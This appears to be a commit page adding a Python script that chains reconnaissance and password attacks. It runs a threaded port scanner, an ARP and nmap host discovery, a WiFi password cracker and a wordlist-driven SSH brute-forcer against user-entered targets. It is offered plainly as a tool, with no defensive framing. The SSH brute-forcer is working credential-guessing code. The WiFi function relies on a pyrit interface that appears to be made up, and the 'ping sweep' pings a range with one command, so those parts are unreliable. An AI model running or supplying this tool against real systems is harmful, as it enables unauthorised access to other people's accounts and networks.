sa1646 commited on
Commit
7d855d9
·
verified ·
1 Parent(s): 1917abb

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +182 -0
app.py ADDED
@@ -0,0 +1,182 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import socket
2
+ import threading
3
+ import ipaddress
4
+ import scapy.all as scapy
5
+ from scapy.layers.inet import IP, TCP
6
+ import pyrit
7
+ import paramiko
8
+ import nmap
9
+ import subprocess
10
+
11
+ def validate_ip(ip):
12
+ try:
13
+ ipaddress.ip_address(ip)
14
+ return True
15
+ except ValueError:
16
+ return False
17
+
18
+ def validate_port(port):
19
+ try:
20
+ port = int(port)
21
+ if port < 1 or port > 65535:
22
+ return False
23
+ return True
24
+ except ValueError:
25
+ return False
26
+
27
+ def scan_port(ip, port):
28
+ try:
29
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
30
+ sock.settimeout(1)
31
+ result = sock.connect_ex((ip, port))
32
+ if result == 0:
33
+ print(f"Port {port} is open on {ip}")
34
+ sock.close()
35
+ except Exception as e:
36
+ print(f"Error scanning port {port}: {str(e)}")
37
+
38
+ def scan_ports(ip, start_port, end_port):
39
+ threads = []
40
+ for port in range(start_port, end_port + 1):
41
+ thread = threading.Thread(target=scan_port, args=(ip, port))
42
+ threads.append(thread)
43
+ thread.start()
44
+
45
+ for thread in threads:
46
+ thread.join()
47
+
48
+ def arp_scan(ip_range):
49
+ arp_request = scapy.ARP(pdst=ip_range)
50
+ broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
51
+ arp_request_broadcast = broadcast/arp_request
52
+ answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
53
+
54
+ clients_list = []
55
+ for element in answered_list:
56
+ client_dict = {"ip": element[1].psrc, "mac": element[1].hwsrc}
57
+ clients_list.append(client_dict)
58
+ return clients_list
59
+
60
+ def print_result(results):
61
+ print("IP\t\tMAC Address\n-----------------------------------------")
62
+ for client in results:
63
+ print("{0}\t{1}".format(client["ip"], client["mac"]))
64
+
65
+ def crack_wifi_password(bssid, wordlist_path):
66
+ # Create a new Pyrit project
67
+ project = pyrit.Project()
68
+
69
+ # Add the BSSID to the project
70
+ project.add_bssid(bssid)
71
+
72
+ # Load the wordlist
73
+ wordlist = pyrit.Wordlist(wordlist_path)
74
+
75
+ # Start the cracking process
76
+ project.crack(wordlist)
77
+
78
+ # Get the cracked password
79
+ cracked_password = project.get_cracked_password()
80
+
81
+ if cracked_password:
82
+ print(f"Cracked password: {cracked_password}")
83
+ else:
84
+ print("Failed to crack password")
85
+
86
+ def crack_ssh_password(hostname, username, wordlist_path):
87
+ # Load the wordlist
88
+ with open(wordlist_path, "r") as f:
89
+ passwords = f.readlines()
90
+
91
+ # Iterate over each password in the wordlist
92
+ for password in passwords:
93
+ password = password.strip()
94
+
95
+ # Create an SSH client
96
+ client = paramiko.SSHClient()
97
+ client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
98
+
99
+ try:
100
+ # Try to connect to the SSH server
101
+ client.connect(hostname, username=username, password=password)
102
+
103
+ # If the connection is successful, print the cracked password
104
+ print(f"Cracked password: {password}")
105
+
106
+ # Close the SSH client
107
+ client.close()
108
+ break
109
+ except paramiko.AuthenticationException:
110
+ # If authentication fails, continue to the next password
111
+ continue
112
+ except Exception as e:
113
+ # If any other exception occurs, print the error message
114
+ print(f"Error: {str(e)}")
115
+ break
116
+
117
+ def nmap_scan(ip_range):
118
+ nm = nmap.PortScanner()
119
+ nm.scan(ip_range, arguments='-sP')
120
+ hosts_list = [(x, nm[x]['status']['state']) for x in nm.all_hosts()]
121
+ for host, status in hosts_list:
122
+ print(f"{host}\t{status}")
123
+
124
+ def ping_sweep(ip_range):
125
+ command = f"ping -c 1 {ip_range}"
126
+ process = subprocess.Popen(command.split(), stdout=subprocess.PIPE)
127
+ output, error = process.communicate()
128
+ if error:
129
+ print(f"Error: {error}")
130
+ else:
131
+ print(output.decode())
132
+
133
+ def main():
134
+ while True:
135
+ ip = input("Enter IP address to scan: ")
136
+ if validate_ip(ip):
137
+ break
138
+ else:
139
+ print("Invalid IP address. Please try again.")
140
+
141
+ while True:
142
+ start_port = input("Enter starting port: ")
143
+ if validate_port(start_port):
144
+ start_port = int(start_port)
145
+ break
146
+ else:
147
+ print("Invalid port number. Please enter a number between 1 and 65535.")
148
+
149
+ while True:
150
+ end_port = input("Enter ending port: ")
151
+ if validate_port(end_port):
152
+ end_port = int(end_port)
153
+ if end_port >= start_port:
154
+ break
155
+ else:
156
+ print("Ending port must be greater than or equal to starting port.")
157
+ else:
158
+ print("Invalid port number. Please enter a number between 1 and 65535.")
159
+
160
+ scan_ports(ip, start_port, end_port)
161
+
162
+ ip_range = input("Enter IP range to scan (e.g. 192.168.1.1/24): ")
163
+ results = arp_scan(ip_range)
164
+ print_result(results)
165
+
166
+ bssid = input("Enter BSSID to crack WiFi password: ")
167
+ wordlist_path = input("Enter path to wordlist file: ")
168
+ crack_wifi_password(bssid, wordlist_path)
169
+
170
+ hostname = input("Enter hostname to crack SSH password: ")
171
+ username = input("Enter username to crack SSH password: ")
172
+ wordlist_path = input("Enter path to wordlist file: ")
173
+ crack_ssh_password(hostname, username, wordlist_path)
174
+
175
+ ip_range = input("Enter IP range to perform Nmap scan: ")
176
+ nmap_scan(ip_range)
177
+
178
+ ip_range = input("Enter IP range to perform ping sweep: ")
179
+ ping_sweep(ip_range)
180
+
181
+ if __name__ == "__main__":
182
+ main()